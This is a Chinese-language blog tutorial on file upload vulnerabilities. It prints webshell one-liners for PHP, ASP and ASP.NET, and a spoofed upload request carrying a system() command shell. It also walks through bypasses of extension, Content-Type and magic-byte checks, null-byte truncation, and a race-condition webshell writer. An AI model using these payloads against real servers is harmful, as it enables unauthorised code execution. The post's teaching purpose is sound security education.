标签:cad 读取 flag erro \n magic url 文件存储 only
用户突破服务端限制向服务器上传了未经允许的文件,可能是恶意代码或是恶意程序。
但是存在问题,单一的文件上传漏洞并没有直接造成服务器权限的丢失。如果服务器web容器无法解析上传的恶意代码,上传的文件将毫无意义,就相当于在硬盘上有一个病毒文件,但如果我们永远也不去执行它,那他就只是一段存在硬盘上的01而已
文件上传可能存在的安全问题:
webshell 形成的条件:
php :<?php @eval($_POST(‘cmd‘));?>
asp:<%eval request("cmd")%>
ASP\.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
function checkFile(){
/*这段代码存在于网页前端,当用户单击上传文件的按键时调用这个函数
执行的功能很简单,设置一个标志位,默认为false,通过jsp内置函数
取得文件的扩展名,在一个白名单数组中检测是否命中,如果有则认为在
允许的范围内,将标志位改为true,允许上传;如果没有则拒绝上传*/
var flag = false;
var str = document.getElementById("file").value;//得到文件名
str = str.substring(str.lastIndexOf(‘.‘+1));//获取扩展名
var arr = new Array(‘png‘,‘bmp‘,‘gif‘,‘jpg‘);//允许的扩展名
for(var i = 0; i<arr.length; i++){
if(str==arr[i]){
flag=true;
}
}
if(!flag){
alert("Error");
}
return flag;
}
针对以上js验证代码,简单两种绕过方式:
<?php
$Blacklist = array(‘asp‘,‘php‘,‘jsp‘,‘php5‘,‘asa‘,‘aspx‘);//黑名单
if(isset($_POST["submit"]) {
$name = $_FILES[‘file‘][‘name‘];//取得文件名
$extension = substr(strrchr($name,"."),1);//取得文件后缀名
$boo = false;
foreach($Blacklist as $key => $value) {
if($value==$extension) {//命中黑名单
$boo = true;
break;
}
}
if(!$boo) {//未命中黑名单,则接受文件,改名并另行存放在指定文件夹
$size = $_FILES[‘file‘][‘size‘];
$tmp = $_FILES[‘file‘][‘tem_name‘];
move_uploaded_file($tmp,$name);
echo "succeed path:".$name;
} else {
echo "failed";
}
}
?>
asa, cer
pHp, AsP
jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee
.
结尾或者以空格结尾,系统将自动去除,导致绕过验证并在服务器端写程序时以正常后缀名写入执行(2)++白名单验证++:
$postfix = end(explode(‘.‘,‘$_POST[‘filename‘]);
if($postfix==‘jpg‘||$postfix==‘png‘||$postfix==‘gif‘){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
与黑名单相反,将验证数组换为允许上传的后缀名,进行迭代判断;若命中则允许上传,否则拒绝上传。由于一些解析漏洞的存在,例如IIS6.0中,命名xxx.asp;1.jpg
上传,格式为jpg,但在服务器端解析时,将作为asp脚本解析
Connect-Type:
字段绕过检测。//抓到的数据包
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原为 Content-Type: text/plain)
<?php system($_GET[‘command‘]);?>
<?php//简单的一段后端检测代码
$black_list = array(‘asp‘, ‘php‘, ‘jsp‘, ‘php5‘, ‘asa‘, ‘aspx‘);
$flag = true;
$extention = _ FILES[‘filename‘][‘type‘];
//通过_FILE[][]方式取得的文件类型是通过HTTP数据包中的content-type字段得来的,
//可以很容易的通过代理软件更改数据包中的内容
foreach($a as $key=>$value){
if($a == $key){
$flag = false;
break;
}
}
?>
<?php
$imageinfo = getimagesize($_FILES[‘userfile‘][‘tmp_name‘]);
if ($imageinfo[‘mime‘] != ‘image/gif‘ && $imageinfo[‘mime‘] != ‘image/jpeg‘) {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = ‘uploads/‘;
$uploadfile = $uploaddir . basename($_FILES[‘userfile‘][‘name‘]);
if (move_uploaded_file($_FILES[‘userfile‘][‘tmp_name‘], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
此时,把脚本头部加上相应的文件幻数即可,
例如GIF89a<?php phpinfo();?>
。原理是php引擎会将<? 之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行
其他的文件幻数如下表:
格式 | 文件头 |
---|---|
TIFF (tif) | 49492A00 |
Windows Bitmap (bmp) | 424D |
CAD (dwg) | 41433130 |
Adobe Photoshop (psd) | 38425053 |
Rich Text Format (rtf) | 7B5C727466 |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip) | 504B0304 |
RAR Archive (rar) | 52617221 |
Wave (wav) | 57415645 |
AVI (avi) | 41564920 |
Real Media (rm) | 2E524D46 |
MPEG (mpg) | 000001BA |
MPEG (mpg) | 000001B3 |
Quicktime (mov) | 6D6F6F76 |
Adobe Acrobat (pdf) | 255044462D312E |
Windows Media (asf) | 3026B2758E66CF11 |
MIDI (mid) | 4D546864 |
由于在C语言中00代表字符串的结束,在一个正常的文件名末尾加上00,在组合拼接字符串的时候,就会导致截断。
有一种业务,提供上传的文件改名功能,在上传的文件符合要求存到服务器上之后,要求以post或者get方法再传输一个文件名上去,通过检测文件的文件后缀名再在后台将原本文件的后缀名和后来的文件名拼接起来形成一个新的文件名+后缀名。由于后缀名不是用户能控制的,导致上传的恶意代码无法解析
前半部分的文件上传的时候,为了符合服务端要求,不得不把php等代码文件改后缀名以便上传。但是改名功能提供了解析恶意代码的可能。
$ext_arr = array(‘flv‘, ‘swf‘, ‘mp3‘, ‘mp4‘, ‘3gp‘, ‘zip‘, ‘rar‘, ‘gif‘, ‘png‘, ‘bmp‘);//允许的后缀名
$file_ext = substr($_FILES[‘file‘][‘name‘],strrpos($_FILES[‘file‘][‘name‘],".")+1);
//使用字符串取子串函数,把‘.’当作分隔符分离开文件名和后缀名,取得后缀名
if(in_array($file_ext,$ext_arr)){//如果文件后缀名在白名单内
$tempFile = $_FILES[‘file‘][‘tep_name‘];//临时存放的文件的名字
$targetPath = $_REQUEST[‘jieduan‘].rand(10,99).data("YmdHis");
//从超全局变量REQUEST里取得‘jieduan‘的值,通过.方法拼接字符串
//由于字符串拼接的存在,导致了00截断的产生
if(move_upload_file($tempFile,$targetPath)){
echo "succeed!@$targetPath";
}
}
以上代码简单构建了一个改名功能。当php版本小于5.3.4、magic_quotes_gpc为off时,存在00截断攻击。
当以post方法提交数据时,拦截http请求,添加一个0x00字段(可以先输入空格即0x20,再将其改为0x00)
当以get方法提交时,将0x00 url编码为%00,发送。
绕过方法:利用检测到删除的时间差,立刻访问上传的文件,通过这个文件输出另一个php文件
<?php
fputs(fopen("../webshell.php","W"), "<?php phpinfo()?>");
?>
访问以上php文件就会输出一个php文件,内容就是一个webshell
防止未经允许的文件上传:
如果被绕过,文件已经上传:
在一开始提到过,文件上传漏洞并不会直接造成服务器权限的泄露,如果web容器没有去解析执行上传的恶意代码,那么并不会造成危害。以最坏的情况去考虑,未经允许的文件已经上传到了服务器上,那能做的事情就是防止文件被解析执行。这就牵涉到文件解析漏洞。
标签:cad 读取 flag erro \n magic url 文件存储 only
原文地址:https://www.cnblogs.com/unknown404/p/10161809.html